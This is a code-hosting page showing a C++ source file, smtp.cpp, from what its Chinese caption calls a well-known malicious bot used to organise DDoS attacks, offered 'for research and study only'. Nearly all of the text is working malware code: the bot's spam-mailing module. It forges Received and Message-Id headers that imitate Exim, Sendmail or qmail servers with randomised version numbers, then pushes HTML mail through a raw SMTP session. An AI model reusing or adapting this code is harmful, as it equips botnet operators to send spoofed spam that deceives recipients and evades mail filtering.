smtp.cpp.svn-base
来自「很有名的一款用于组织DDoS的恶意机器人程序。仅供研究学习」· SVN-BASE 代码 · 共 595 行 · 第 1/2 页
SVN-BASE
595 行
case 5: sOS.Assign("FreeBSD"); break; default: sOS.Assign("Unknown"); break; } switch(m_iMTAType) { case MTA_TYPE_UNKNOWN: { CString sVersionHigh, sVersionLow, sNumber; sVersionHigh.Assign(brandom(3, 4)); sVersionLow.Assign(brandom(1, 40)); sMTA.Format("SMTP %s.%s (%s)", sVersionHigh.CStr(), sVersionLow.CStr(), sOS.CStr()); } break; case MTA_TYPE_EXIM: { CString sVersionHigh, sVersionLow, sNumber; sVersionHigh.Assign(brandom(3, 4)); sVersionLow.Assign(brandom(1, 40)); sNumber.Assign(brandom(1, 5)); sMTA.Format("Exim %s.%s #%s (%s)", sVersionHigh.CStr(), sVersionLow.CStr(), sNumber.CStr(), sOS.CStr()); } break; case MTA_TYPE_SENDMAIL: { CString sVersionHigh, sVersionLow, sVersionLow2; sVersionHigh.Assign(brandom(1, 12)); sVersionLow.Assign(brandom(1, 10)); sVersionLow2.Assign(brandom(1, 10)); sMTA.Format("8.%s.%s/8.%s.%s", sVersionHigh.CStr(), sVersionLow.CStr(), sVersionHigh.CStr(), sVersionLow2.CStr()); } break; case MTA_TYPE_QMAIL:
{ CString sPid; sPid.Assign(brandom(1, 65000));
CString sInvokedBy; int iInvokedBy=brandom(1,3);
if(iInvokedBy==1) {
sInvokedBy.Assign("alias");
} else if(iInvokedBy==2) {
sInvokedBy.Assign("network");
} else if(iInvokedBy==3) {
sInvokedBy.Assign("uid 0");
}
sMTA.Format("qmail %s invoked by %s",
sPid.CStr(), sInvokedBy.CStr()); }
break; case MTA_TYPE_GAIA:
break;
case MTA_TYPE_MSSMTPSVC:
break;
case MTA_TYPE_MSEXCHANGE:
break;
case MTA_TYPE_HOTMAILWM:
break;
case MTA_TYPE_WEBMAIL:
break;
case MTA_TYPE_POSTFIX:
break;
case MTA_TYPE_SMTPD:
break;
case MTA_TYPE_LIST_AMIRC:
break;
default:#ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Invalid MTA type selected!\n", this);#endif // DBGCONSOLE Disconnect(); return false; break; }
// Generate an ID
CString sID=GenerateID(); sSrcID.Assign(sID);
// Get local hostname sHost.Assign(g_pMainCtrl->m_cIRC.m_sLocalHost.CStr()); // Send MAIL FROM command sReqBuf.Format("MAIL FROM:<%s>\r\n", sMailFrom.CStr()); m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength()); // Receive reply m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192); if(sRecvBuf.Mid(0, 3).Compare("250")) { // MAIL FROM failed#ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Server rejected MAIL FROM \"%s\" (\"%s\")!\n", this, sMailFrom.CStr(), sRecvBuf.Token(0, "\r").CStr());#endif // DBGCONSOLE Disconnect(); return false; } // Send RCPT TO command sReqBuf.Format("RCPT TO:<%s>\r\n", sRcptTo.CStr()); m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength()); // Receive reply m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192); if(sRecvBuf.Mid(0, 3).Compare("250")) { // RCPT TO failed#ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Server rejected RCTP TO \"%s\" (\"%s\")!\n", this, sRcptTo.CStr(), sRecvBuf.Token(0, "\r").CStr());#endif // DBGCONSOLE Disconnect(); return false; } // Send DATA command sReqBuf.Format("DATA\r\n"); m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength()); // Receive reply m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192); if(sRecvBuf.Mid(0, 3).Compare("354")) { // DATA failed#ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Server rejected DATA (\"%s\")!\n", this, sRecvBuf.Token(0, "\r").CStr());#endif // DBGCONSOLE Disconnect(); return false; } // Get local time time_t tGlobal=time(NULL); char szTimeBuf[4096]; strftime(szTimeBuf, sizeof(szTimeBuf), "%a, %d %b %Y %H:%M:%S GMT", gmtime(&tGlobal)); // Clear buffer sReqBuf.Assign(""); switch(m_iMTAType) { case MTA_TYPE_UNKNOWN: sReqBuf.Append("Received: from "); sReqBuf.Append(sMailFrom.Token(0, "@").CStr()); sReqBuf.Append(" by "); sReqBuf.Append(sHost.CStr()); sReqBuf.Append(" with local\r\n"); if(m_bUseSMTPExt) {
// id 1AOkjD-0001RE-00
sReqBuf.Append("\tid "); sReqBuf.Append(sSrcID.Mid(1)); sReqBuf.Append("\r\n");
// for <xxxx@xxxx.xxxx.xxx.xxx>; Tue, 25 Nov 2003 22:28:12 +0100
sReqBuf.Append("\tfor <"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">; ");
sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n");
// Message-Id: <E1AOkjD-0001RE-00@xxxxx.xxxxxxx.xxx>
sReqBuf.Append("Message-Id: <"); sReqBuf.Append(sSrcID.CStr()); sReqBuf.Append("@");
sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">\r\n");
}
break; case MTA_TYPE_EXIM: // Received: from xxxx by xxxxx.xxxxxxx.xxx with local (Exim 3.36 #1 (Debian)) sReqBuf.Append("Received: from "); sReqBuf.Append(sMailFrom.Token(0, "@").CStr()); sReqBuf.Append(" by "); sReqBuf.Append(sHost.CStr()); sReqBuf.Append(" with local ("); sReqBuf.Append(sMTA.CStr()); sReqBuf.Append(")\r\n"); if(m_bUseSMTPExt) {
// id 1AOkjD-0001RE-00
sReqBuf.Append("\tid "); sReqBuf.Append(sSrcID.Mid(1)); sReqBuf.Append("\r\n");
// for <xxxx@xxxx.xxxx.xxx.xxx>; Tue, 25 Nov 2003 22:28:12 +0100
sReqBuf.Append("\tfor <"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">; ");
sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n");
// Message-Id: <E1AOkjD-0001RE-00@xxxxx.xxxxxxx.xxx>
sReqBuf.Append("Message-Id: <"); sReqBuf.Append(sSrcID.CStr()); sReqBuf.Append("@");
sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">\r\n");
}
break; case MTA_TYPE_SENDMAIL: // Received: from xxxx by xxxx.xxxxxxx.xxx (8.12.8p1/8.12.6) with local sReqBuf.Append("Received: from "); sReqBuf.Append(sMailFrom.Token(0, "@").CStr()); sReqBuf.Append(" by "); sReqBuf.Append(sHost.CStr()); sReqBuf.Append("(8."); sReqBuf.Append(sMTA.CStr()); sReqBuf.Append(") with local\r\n"); if(m_bUseSMTPExt) {
// id 1AOkjD-0001RE-00
sReqBuf.Append("\tid "); sReqBuf.Append(sSrcID.Mid(1)); sReqBuf.Append("\r\n");
// for <xxxx@xxxx.xxxx.xxx.xxx>; Tue, 25 Nov 2003 22:28:12 +0100
sReqBuf.Append("\tfor <"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">; ");
sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n");
// Message-Id: <E1AOkjD-0001RE-00@xxxxx.xxxxxxx.xxx>
sReqBuf.Append("Message-Id: <"); sReqBuf.Append(sSrcID.CStr()); sReqBuf.Append("@");
sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">\r\n");
}
break; case MTA_TYPE_QMAIL:
// Received: (qmail 21608 invoked by alias); 17 Jul 2002 14:30:10 -0000
sReqBuf.Append("Received: ("); sReqBuf.Append(sMTA.CStr()); sReqBuf.Append("); ");
sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n");
break;
case MTA_TYPE_GAIA:
break;
case MTA_TYPE_MSSMTPSVC:
break;
case MTA_TYPE_MSEXCHANGE:
break;
case MTA_TYPE_HOTMAILWM:
break;
case MTA_TYPE_WEBMAIL:
break;
case MTA_TYPE_POSTFIX:
break;
case MTA_TYPE_SMTPD:
break;
case MTA_TYPE_LIST_AMIRC:
break;
} // From: xxxx <xxxx@xxx.xxxx.xxx.xxx> sReqBuf.Append("From: "); sReqBuf.Append(sMailFromFull.CStr()); sReqBuf.Append(" <"); sReqBuf.Append(sMailFrom.CStr()); sReqBuf.Append(">\r\n"); // To: xxxx@xxxx.xxxx.xxx.xxx sReqBuf.Append("To: "); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append("\r\n"); // Subject: bla
sReqBuf.Append("Subject: "); sReqBuf.Append(sSubject.CStr()); sReqBuf.Append("\r\n");
// Date: Tue, 25 Nov 2003 22:28:12 +0100 sReqBuf.Append("Date: "); sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n");
// MIME-Version: 1.0
sReqBuf.Append("MIME-Version: 1.0\r\n");
// if(g_cSMTPLogic.spam_htmlemail.bValue) {
// Content-Type: text/html; charset=us-ascii
sReqBuf.Append("Content-Type: text/html; charset=us-ascii\r\n");
// } else {
// // Content-Type: text/plain; charset=us-ascii
// sReqBuf.Append("Content-Type: text/plain; charset=us-ascii\r\n");
// }
sReqBuf.Append("Content-Type: text/html; charset=us-ascii\r\n");
// Content-Transfer-Encoding: 7bit
sReqBuf.Append("Content-Transfer-Encoding: 7bit\r\n");
// // <data> // .// if(g_cSMTPLogic.spam_htmlemail.bValue) {
sReqBuf.Append("\r\n\r\n");
// } else {
// sReqBuf.Append("\r\n");
// }
sReqBuf.Append("\r\n\r\n");
sReqBuf.Append(sData.CStr()); sReqBuf.Append("\r\n.\r\n"); // Send data m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength()); // Receive reply if(!m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192)) { // Connection reset#ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Connection reset!\n", this);#endif // DBGCONSOLE Disconnect(); return false; } // Check if data was accepted if(sRecvBuf.Mid(0, 3).Compare("250")) { // Data not accepted#ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Server rejected MAIL FROM \"%s\", RCPT TO \"%s\"!\n", this, sMailFrom.CStr(), sRcptTo.CStr());#endif // DBGCONSOLE Disconnect(); return false; } return true;}void CSMTP_Connection::SetMTA(int iMTAType) { m_iMTAType=iMTAType;}//
// SMTP Sender class
//
CSMTP_Sender::CSMTP_Sender() {
m_szType="CSMTP_Sender";
m_sMailFrom.Assign(""); m_sMailFromFull.Assign("");
m_sRcptTo.Assign(""); m_sData.Assign("");
m_sHost.Assign(""); m_iPort=0;
m_cConnection.Init(); m_bFinished=true;
}
CSMTP_Sender::~CSMTP_Sender() {
m_cConnection.Disconnect(); m_bFinished=true;
}
void *CSMTP_Sender::Run() {
m_bFinished=false;
if(m_cConnection.Connect(m_sHost, m_iPort)) {
if(m_cConnection.Hello()) {
if(m_cConnection.Mail(m_sMailFrom, m_sMailFromFull, m_sRcptTo, m_sSubject, m_sData)) {
m_cConnection.Disconnect();
}
}
m_cConnection.Disconnect();
}
m_bFinished=true;
return NULL;
}
void CSMTP_Sender::SetMail(CString sMailFrom, CString sMailFromFull, CString sRcptTo, CString sSubject, CString sData) {
m_sMailFrom.Assign(sMailFrom); m_sMailFromFull.Assign(sMailFromFull);
m_sRcptTo.Assign(sRcptTo); m_sSubject.Assign(sSubject); m_sData.Assign(sData);
}
void CSMTP_Sender::SetServer(CString sHost, int iPort) {
m_sHost.Assign(sHost); m_iPort=iPort;
}
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?